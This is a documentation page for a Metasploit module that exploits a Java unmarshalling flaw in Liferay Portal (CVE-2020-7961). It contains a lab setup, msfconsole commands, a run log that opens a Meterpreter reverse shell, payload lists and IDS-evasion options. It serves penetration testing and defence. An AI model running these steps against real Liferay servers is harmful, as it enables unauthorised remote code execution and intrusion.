Liferay Portal Java Unmarshalling via JSONWS RCE - Metasploit
This page contains detailed information about how to use the exploit/multi/http/liferay_java_unmarshalling metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Liferay Portal Java Unmarshalling via JSONWS RCE
Module: exploit/multi/http/liferay_java_unmarshalling
Source code: modules/exploits/multi/http/liferay_java_unmarshalling.rb
Disclosure date: 2019-11-25
Last modification time: 2020-08-14 13:11:38 +0000
Supported architecture(s): java
Supported platform(s): Java
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-7961
This module exploits a Java unmarshalling vulnerability via JSONWS in Liferay Portal versions < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, and 7.2.1 GA2 to execute code as the Liferay user. Tested against 7.2.0 GA1.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/multi/http/liferay_java_unmarshalling
msf exploit(liferay_java_unmarshalling) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Description
This module exploits a Java unmarshalling vulnerability via JSONWS in Liferay Portal versions < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, and 7.2.1 GA2 to execute code as the Liferay user. Tested against 7.2.0 GA1.
Setup
Install Docker using the official instructions.
Follow the instructions for your platform and distribution (if using
Linux). If you're using OS X, you may prefer to brew cask install docker
after installing Homebrew.
Note: You may want to increase Docker's memory capacity up to 4 GB. Liferay will crash at 2 GB or less. 4 GB seems to be the sweet spot.
Run docker run -it -p 8080:8080 liferay/portal:7.2.0-ga1 (note the
added 7.2.0-ga1 tag) as per Liferay's Docker Hub instructions.
Any dependencies will be pulled automatically.
Verification Steps
Targets
0
This targets Liferay Portal versions < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, and 7.2.1 GA2.
Options
SRVPORT
If you are testing the Docker container, which binds to port 8080 by default, set this to a different port to avoid a port conflict with the remote classloading server.
Scenarios
Liferay Portal 7.2.0 GA1 from Docker Hub
msf5 > use exploit/multi/http/liferay_java_unmarshalling
msf5 exploit(multi/http/liferay_java_unmarshalling) > options
Module options (exploit/multi/http/liferay_java_unmarshalling):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 8080 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Liferay Portal < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, 7.2.1 GA2
msf5 exploit(multi/http/liferay_java_unmarshalling) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(multi/http/liferay_java_unmarshalling) > set lhost 192.168.1.3
lhost => 192.168.1.3
msf5 exploit(multi/http/liferay_java_unmarshalling) > set srvport 8888
srvport => 8888
msf5 exploit(multi/http/liferay_java_unmarshalling) > run
[*] Started reverse TCP handler on 192.168.1.3:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Liferay 7.2.0 CE GA1 MAY be a vulnerable version. Please verify.
[*] Using URL: http://0.0.0.0:8888/
[*] Local IP: http://192.168.1.3:8888/
[+] Started remote classloader server at http://192.168.1.3:8888/
[*] Sending remote classloader gadget to http://127.0.0.1:8080/api/jsonws/expandocolumn/update-column
[*] GET /Uphxohekruuokpedknflsriuafhrdsfk.class requested
[+] Sending constructor class
[*] GET /metasploit/Payload.class requested
[+] Sending payload class
[*] HEAD /metasploit.dat requested
[+] Sending 200
[*] GET /metasploit.dat requested
[+] Sending payload config
[*] HEAD /metasploit/Payload.class requested
[+] Sending 200
[*] GET /metasploit/Payload.class requested
[+] Sending payload class
[*] Sending stage (53928 bytes) to 192.168.1.3
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.3:58271) at 2020-04-08 07:05:47 -0500
[*] Server stopped.
meterpreter > getuid
Server username: liferay
meterpreter > sysinfo
Computer : 588a96d744cb
OS : Linux 4.19.76-linuxkit (amd64)
Meterpreter : java/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the multi/http/liferay_java_unmarshalling exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/liferay_java_unmarshalling
[*] Using configured payload java/meterpreter/reverse_tcp
msf6 exploit(multi/http/liferay_java_unmarshalling) > show info
Name: Liferay Portal Java Unmarshalling via JSONWS RCE
Module: exploit/multi/http/liferay_java_unmarshalling
Platform: Java
Arch: java
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-11-25
Provided by:
Markus Wulftange
Thomas Etrillard
wvu <[email protected]>
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Liferay Portal < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, 7.2.1 GA2
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a Java unmarshalling vulnerability via JSONWS
in Liferay Portal versions < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, and
7.2.1 GA2 to execute code as the Liferay user. Tested against 7.2.0
GA1.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-7961
https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
https://www.synacktiv.com/posts/pentest/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html
https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271
Module Options
This is a complete list of options available in the multi/http/liferay_java_unmarshalling exploit:
msf6 exploit(multi/http/liferay_java_unmarshalling) > show options
Module options (exploit/multi/http/liferay_java_unmarshalling):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Liferay Portal < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, 7.2.1 GA2
Advanced Options
Here is a complete list of advanced options supported by the multi/http/liferay_java_unmarshalling exploit:
msf6 exploit(multi/http/liferay_java_unmarshalling) > show advanced
Module advanced options (exploit/multi/http/liferay_java_unmarshalling):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AESPassword no Password for encrypting communication
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
JavaMeterpreterDebug false no Run the payload in debug mode, with logging enabled
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
Spawn 2 yes Number of subprocesses to spawn
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/liferay_java_unmarshalling module can exploit:
msf6 exploit(multi/http/liferay_java_unmarshalling) > show targets
Exploit targets:
Id Name
-- ----
0 Liferay Portal < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, 7.2.1 GA2
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/liferay_java_unmarshalling exploit:
msf6 exploit(multi/http/liferay_java_unmarshalling) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
4 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
5 payload/java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager
6 payload/java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager
7 payload/java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager
8 payload/java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager
9 payload/java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager
10 payload/java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager
11 payload/java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline
12 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
13 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/liferay_java_unmarshalling exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/liferay_java_unmarshalling) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Target did not respond to check.
Here is a relevant code snippet related to the "Target did not respond to check." error message:
64: 'method' => 'GET',
65: 'uri' => normalize_uri(target_uri.path)
66: )
67:
68: unless res
69: return CheckCode::Unknown('Target did not respond to check.')
70: end
71:
72: unless res.headers['Liferay-Portal']
73: return CheckCode::Unknown(
74: 'Target did not respond with Liferay-Portal header.'
Liferay <VERSION> is NOT a vulnerable version.
Here is a relevant code snippet related to the "Liferay <VERSION> is NOT a vulnerable version." error message:
101: return CheckCode::Appears(
102: "Liferay #{version} MAY be a vulnerable version. Please verify."
103: )
104: end
105:
106: CheckCode::Safe("Liferay #{version} is NOT a vulnerable version.")
107: end
108:
109: def exploit
110: # Start our HTTP server to provide remote classloading
111: @classloader_uri = start_service
Could not start remote classloader server
Here is a relevant code snippet related to the "Could not start remote classloader server" error message:
109: def exploit
110: # Start our HTTP server to provide remote classloading
111: @classloader_uri = start_service
112:
113: unless @classloader_uri
114: fail_with(Failure::BadConfig, 'Could not start remote classloader server')
115: end
116:
117: print_good("Started remote classloader server at #{@classloader_uri}")
118:
119: # Send our remote classloader gadget to the target, triggering the vuln
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE-2020-7961
- https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
- https://www.synacktiv.com/posts/pentest/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html
- https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271
See Also
Check also the following modules related to this module:
- payload/java/jsp_shell_bind_tcp
- payload/java/jsp_shell_reverse_tcp
- payload/java/meterpreter/bind_tcp
- payload/java/meterpreter/reverse_http
- payload/java/meterpreter/reverse_https
- payload/java/meterpreter/reverse_tcp
- payload/java/shell/bind_tcp
- payload/java/shell/reverse_tcp
- payload/java/shell_reverse_tcp
- exploit/multi/browser/java_atomicreferencearray
- exploit/multi/browser/java_calendar_deserialize
- exploit/multi/browser/java_getsoundbank_bof
- exploit/multi/browser/java_jre17_driver_manager
- exploit/multi/browser/java_jre17_exec
- exploit/multi/browser/java_jre17_glassfish_averagerangestatisticimpl
- exploit/multi/browser/java_jre17_jaxws
- exploit/multi/browser/java_jre17_jmxbean
- exploit/multi/browser/java_jre17_jmxbean_2
- exploit/multi/browser/java_jre17_method_handle
- exploit/multi/browser/java_jre17_provider_skeleton
- exploit/multi/browser/java_jre17_reflection_types
- exploit/multi/browser/java_rhino
- exploit/multi/browser/java_rmi_connection_impl
- exploit/multi/browser/java_setdifficm_bof
- exploit/multi/browser/java_signed_applet
- exploit/multi/browser/java_storeimagearray
- exploit/multi/browser/java_trusted_chain
- exploit/multi/browser/java_verifier_field_access
- exploit/multi/browser/mozilla_navigatorjava
- exploit/multi/browser/qtjava_pointer
- exploit/multi/misc/batik_svg_java
- exploit/multi/misc/java_jdwp_debugger
- exploit/multi/misc/java_jmx_server
- exploit/multi/misc/java_rmi_server
- exploit/multi/misc/zend_java_bridge
Related Nessus plugins:
- Liferay Portal Remote Code Execution (direct check)
- Liferay Portal 6.2.x < 6.2.5 / 7.0.x < 7.0.6 / 7.1.x < 7.1.3 / 7.2.x < 7.2.1 RCE
Authors
- Markus Wulftange
- Thomas Etrillard
- wvu
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
